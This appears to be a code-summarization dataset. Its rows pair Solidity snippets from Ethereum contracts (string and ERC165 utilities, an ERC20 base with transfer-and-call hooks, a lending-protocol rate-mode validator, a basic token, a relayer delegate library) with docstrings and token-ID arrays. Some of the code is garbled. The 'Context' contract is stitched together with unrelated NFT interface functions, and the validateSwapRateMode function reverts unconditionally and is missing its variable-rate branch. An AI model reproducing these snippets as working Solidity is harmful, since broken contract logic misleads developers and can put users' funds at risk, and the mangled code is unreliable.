1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } }
SPDX-License-Identifier: MIT* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
abstract contract Context { function _tokenIdToHash(uint _tokenId) external view returns (string memory); function traitTypes(uint a, uint b) external view returns (string memory, string memory, string memory, uint); } pragma solidity ^0.8.0; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
186,742
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 225, 28805, 1779, 2973, 326, 783, 4588, 819, 16, 6508, 326, 5793, 434, 326, 2492, 471, 2097, 501, 18, 21572, 4259, 854, 19190, 2319, 3970, 1234, 18, 15330, 471, 1234, 18, 892, 16, 2898, 1410, 486, 506, 15539, 316, 4123, 279, 2657, 21296, 16, 3241, 1347, 21964, 598, 2191, 17, 20376, 326, 2236, 5431, 471, 8843, 310, 364, 4588, 2026, 486, 506, 326, 3214, 5793, 261, 345, 10247, 487, 392, 2521, 353, 356, 2750, 11748, 2934, 1220, 6835, 353, 1338, 1931, 364, 12110, 16, 5313, 17, 5625, 20092, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 1772, 288, 203, 565, 445, 389, 2316, 28803, 2310, 12, 11890, 389, 2316, 548, 13, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 565, 445, 13517, 2016, 12, 11890, 279, 16, 2254, 324, 13, 3903, 1476, 1135, 261, 1080, 3778, 16, 533, 3778, 16, 533, 3778, 16, 2254, 1769, 203, 97, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 5024, 1135, 261, 3890, 745, 892, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-1.0 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./ERC20Internal.sol"; import "../Libraries/Constants.sol"; interface ITransferReceiver { function onTokenTransfer( address, uint256, bytes calldata ) external returns (bool); } interface IPaidForReceiver { function onTokenPaidFor( address payer, address forAddress, uint256 amount, bytes calldata data ) external returns (bool); } interface IApprovalReceiver { function onTokenApproval( address, uint256, bytes calldata ) external returns (bool); } abstract contract ERC20Base is IERC20, ERC20Internal { using Address for address; uint256 internal _totalSupply; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; function burn(uint256 amount) external virtual { address sender = msg.sender; _burnFrom(sender, amount); } function _internal_totalSupply() internal view override returns (uint256) { return _totalSupply; } function totalSupply() external view override returns (uint256) { return _internal_totalSupply(); } function balanceOf(address owner) external view override returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) external view override returns (uint256) { if (owner == address(this)) { // see transferFrom: address(this) allows anyone return Constants.UINT256_MAX; } return _allowances[owner][spender]; } function decimals() external pure virtual returns (uint8) { return uint8(18); } function transfer(address to, uint256 amount) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferAlongWithETH(address payable to, uint256 amount) external payable returns (bool) { _transfer(msg.sender, to, amount); to.transfer(msg.value); return true; } function distributeAlongWithETH(address payable[] memory tos, uint256 totalAmount) external payable returns (bool) { uint256 val = msg.value / tos.length; require(msg.value == val * tos.length, "INVALID_MSG_VALUE"); uint256 amount = totalAmount / tos.length; require(totalAmount == amount * tos.length, "INVALID_TOTAL_AMOUNT"); for (uint256 i = 0; i < tos.length; i++) { _transfer(msg.sender, tos[i], amount); tos[i].transfer(val); } return true; } function transferAndCall( address to, uint256 amount, bytes calldata data ) external returns (bool) { _transfer(msg.sender, to, amount); return ITransferReceiver(to).onTokenTransfer(msg.sender, amount, data); } function transferFromAndCall( address from, address to, uint256 amount, bytes calldata data ) external returns (bool) { _transferFrom(from, to, amount); return ITransferReceiver(to).onTokenTransfer(from, amount, data); } function payForAndCall( address forAddress, address to, uint256 amount, bytes calldata data ) external returns (bool) { _transfer(msg.sender, to, amount); return IPaidForReceiver(to).onTokenPaidFor(msg.sender, forAddress, amount, data); } function transferFrom( address from, address to, uint256 amount ) external override returns (bool) { _transferFrom(from, to, amount); return true; } function approve(address spender, uint256 amount) external override returns (bool) { _approveFor(msg.sender, spender, amount); return true; } function approveAndCall( address spender, uint256 amount, bytes calldata data ) external returns (bool) { _approveFor(msg.sender, spender, amount); return IApprovalReceiver(spender).onTokenApproval(msg.sender, amount, data); } function _approveFor( address owner, address spender, uint256 amount ) internal override { require(owner != address(0) && spender != address(0), "INVALID_ZERO_ADDRESS"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transferFrom( address from, address to, uint256 amount ) internal { // anybody can transfer from this // this allow mintAndApprovedCall without gas overhead if (msg.sender != from && from != address(this)) { uint256 currentAllowance = _allowances[from][msg.sender]; if (currentAllowance != Constants.UINT256_MAX) { // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717) require(currentAllowance >= amount, "NOT_AUTHOIZED_ALLOWANCE"); _allowances[from][msg.sender] = currentAllowance - amount; } } _transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal { require(to != address(0), "INVALID_ZERO_ADDRESS"); require(to != address(this), "INVALID_THIS_ADDRESS"); uint256 currentBalance = _balances[from]; require(currentBalance >= amount, "NOT_ENOUGH_TOKENS"); _balances[from] = currentBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } function _transferAllIfAny(address from, address to) internal { uint256 balanceLeft = _balances[from]; if (balanceLeft > 0) { _balances[from] = 0; _balances[to] += balanceLeft; emit Transfer(from, to, balanceLeft); } } function _mint(address to, uint256 amount) internal override { _totalSupply += amount; _balances[to] += amount; emit Transfer(address(0), to, amount); } function _burnFrom(address from, uint256 amount) internal override { uint256 currentBalance = _balances[from]; require(currentBalance >= amount, "NOT_ENOUGH_TOKENS"); _balances[from] = currentBalance - amount; _totalSupply -= amount; emit Transfer(from, address(0), amount); } }
anybody can transfer from this this allow mintAndApprovedCall without gas overhead save gas when allowance is maximal by not reducing it (see https:github.com/ethereum/EIPs/issues/717)
function _transferFrom( address from, address to, uint256 amount ) internal { if (msg.sender != from && from != address(this)) { uint256 currentAllowance = _allowances[from][msg.sender]; if (currentAllowance != Constants.UINT256_MAX) { require(currentAllowance >= amount, "NOT_AUTHOIZED_ALLOWANCE"); _allowances[from][msg.sender] = currentAllowance - amount; } } _transfer(from, to, amount); }
12,973,800
[ 1, 2273, 3432, 848, 7412, 628, 333, 333, 1699, 312, 474, 1876, 31639, 1477, 2887, 16189, 23188, 1923, 16189, 1347, 1699, 1359, 353, 943, 2840, 635, 486, 9299, 2822, 518, 261, 5946, 2333, 30, 6662, 18, 832, 19, 546, 822, 379, 19, 41, 18246, 19, 9618, 19, 27, 4033, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 628, 597, 628, 480, 1758, 12, 2211, 3719, 288, 203, 5411, 2254, 5034, 783, 7009, 1359, 273, 389, 5965, 6872, 63, 2080, 6362, 3576, 18, 15330, 15533, 203, 5411, 309, 261, 2972, 7009, 1359, 480, 5245, 18, 57, 3217, 5034, 67, 6694, 13, 288, 203, 7734, 2583, 12, 2972, 7009, 1359, 1545, 3844, 16, 315, 4400, 67, 7131, 51, 24131, 67, 13511, 4722, 8863, 203, 7734, 389, 5965, 6872, 63, 2080, 6362, 3576, 18, 15330, 65, 273, 783, 7009, 1359, 300, 3844, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 389, 13866, 12, 2080, 16, 358, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0xAcC4fC9A4ebA3675B2A0cF1638f62314F8347850/sources/contracts/protocol/libraries/logic/ValidationLogic.sol
* @dev Validates a swap of borrow rate mode. @param reserve The reserve state on which the user is swapping the rate @param userConfig The user reserves configuration @param stableDebt The stable debt of the user @param variableDebt The variable debt of the user @param currentRateMode The rate mode of the borrow/
function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) external view { (bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE); require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE); require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || stableDebt.add(variableDebt) > IERC20(reserve.viTokenAddress).balanceOf(msg.sender), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED); } }
13,181,136
[ 1, 9594, 279, 7720, 434, 29759, 4993, 1965, 18, 225, 20501, 1021, 20501, 919, 603, 1492, 326, 729, 353, 7720, 1382, 326, 4993, 225, 729, 809, 1021, 729, 400, 264, 3324, 1664, 225, 14114, 758, 23602, 1021, 14114, 18202, 88, 434, 326, 729, 225, 2190, 758, 23602, 1021, 2190, 18202, 88, 434, 326, 729, 225, 783, 4727, 2309, 1021, 4993, 1965, 434, 326, 29759, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1954, 12521, 4727, 2309, 12, 203, 565, 1910, 2016, 18, 607, 6527, 751, 2502, 20501, 16, 203, 565, 1910, 2016, 18, 1299, 1750, 863, 2502, 729, 809, 16, 203, 565, 2254, 5034, 14114, 758, 23602, 16, 203, 565, 2254, 5034, 2190, 758, 23602, 16, 203, 565, 1910, 2016, 18, 29281, 4727, 2309, 783, 4727, 2309, 203, 225, 262, 3903, 1476, 288, 203, 565, 261, 6430, 15083, 16, 1426, 17646, 9808, 16, 269, 1426, 14114, 4727, 1526, 13, 273, 20501, 18, 7025, 18, 588, 5094, 5621, 203, 203, 565, 2583, 12, 291, 3896, 16, 9372, 18, 58, 48, 67, 3417, 67, 13301, 67, 862, 2123, 3412, 1769, 203, 565, 2583, 12, 5, 291, 42, 9808, 16, 9372, 18, 58, 48, 67, 862, 2123, 3412, 67, 42, 1457, 62, 1157, 1769, 203, 203, 565, 309, 261, 2972, 4727, 2309, 422, 1910, 2016, 18, 29281, 4727, 2309, 18, 882, 2782, 13, 288, 203, 1377, 2583, 12, 15021, 758, 23602, 405, 374, 16, 9372, 18, 58, 48, 67, 3417, 67, 882, 2782, 67, 24062, 67, 1502, 1258, 67, 706, 67, 862, 2123, 3412, 1769, 203, 1377, 2583, 12, 6105, 758, 23602, 405, 374, 16, 9372, 18, 58, 48, 67, 3417, 67, 16444, 67, 24062, 67, 1502, 1258, 67, 706, 67, 862, 2123, 3412, 1769, 203, 1377, 2583, 12, 15021, 4727, 1526, 16, 9372, 18, 58, 48, 67, 882, 2782, 67, 38, 916, 11226, 1360, 67, 4400, 67, 13560, 1769, 203, 203, 1377, 2583, 12, 203, 3639, 401, 1355, 809, 18, 291, 7736, 1463, 13535, 2045, 287, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-05-03 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract OnChainCollectibles is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "OnChainCollectibles"; symbol = "OCC"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/
constructor() public { name = "OnChainCollectibles"; symbol = "OCC"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); }
2,013,124
[ 1, 442, 701, 30206, 445, 10188, 3128, 6835, 598, 2172, 14467, 2430, 358, 326, 11784, 434, 326, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 288, 203, 3639, 508, 273, 315, 1398, 3893, 10808, 495, 1040, 14432, 203, 3639, 3273, 273, 315, 51, 6743, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 12648, 2787, 11706, 31, 203, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 1234, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2018 The Nova Protocol Foundation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.24; /** * @title LibRelayer provides two distinct features for relayers. * * First, Relayers can opt into or out of the Nova liquidity incentive system. * * Second, a relayer can register a delegate address. * Delegates can send matching requests on behalf of relayers. * The delegate scheme allows additional possibilities for smart contract interaction. * on behalf of the relayer. */ contract LibRelayer { /** * Mapping of relayerAddress => delegateAddress */ mapping (address => mapping (address => bool)) public relayerDelegates; /** * Mapping of relayerAddress => whether relayer is opted out of the liquidity incentive system */ mapping (address => bool) hasExited; event RelayerApproveDelegate(address indexed relayer, address indexed delegate); event RelayerRevokeDelegate(address indexed relayer, address indexed delegate); event RelayerExit(address indexed relayer); event RelayerJoin(address indexed relayer); /** * Approve an address to match orders on behalf of msg.sender */ function approveDelegate(address delegate) external { relayerDelegates[msg.sender][delegate] = true; emit RelayerApproveDelegate(msg.sender, delegate); } /** * Revoke an existing delegate */ function revokeDelegate(address delegate) external { relayerDelegates[msg.sender][delegate] = false; emit RelayerRevokeDelegate(msg.sender, delegate); } /** * @return true if msg.sender is allowed to match orders which belong to relayer */ function canMatchOrdersFrom(address relayer) public view returns(bool) { return msg.sender == relayer || relayerDelegates[relayer][msg.sender] == true; } /** * Join the Nova incentive system. */ function joinIncentiveSystem() external { delete hasExited[msg.sender]; emit RelayerJoin(msg.sender); } /** * Exit the Nova incentive system. * For relayers that choose to opt-out, the Nova Protocol * effective becomes a tokenless protocol. */ function exitIncentiveSystem() external { hasExited[msg.sender] = true; emit RelayerExit(msg.sender); } /** * @return true if relayer is participating in the Nova incentive system. */ function isParticipant(address relayer) public view returns(bool) { return !hasExited[relayer]; } }
* Exit the Nova incentive system. For relayers that choose to opt-out, the Nova Protocol effective becomes a tokenless protocol./
function exitIncentiveSystem() external { hasExited[msg.sender] = true; emit RelayerExit(msg.sender); }
2,484,643
[ 1, 6767, 326, 423, 16739, 316, 2998, 688, 2619, 18, 2457, 1279, 3907, 716, 9876, 358, 2153, 17, 659, 16, 326, 423, 16739, 4547, 11448, 12724, 279, 1147, 2656, 1771, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2427, 382, 2998, 688, 3163, 1435, 3903, 288, 203, 3639, 711, 6767, 329, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 3626, 4275, 1773, 6767, 12, 3576, 18, 15330, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 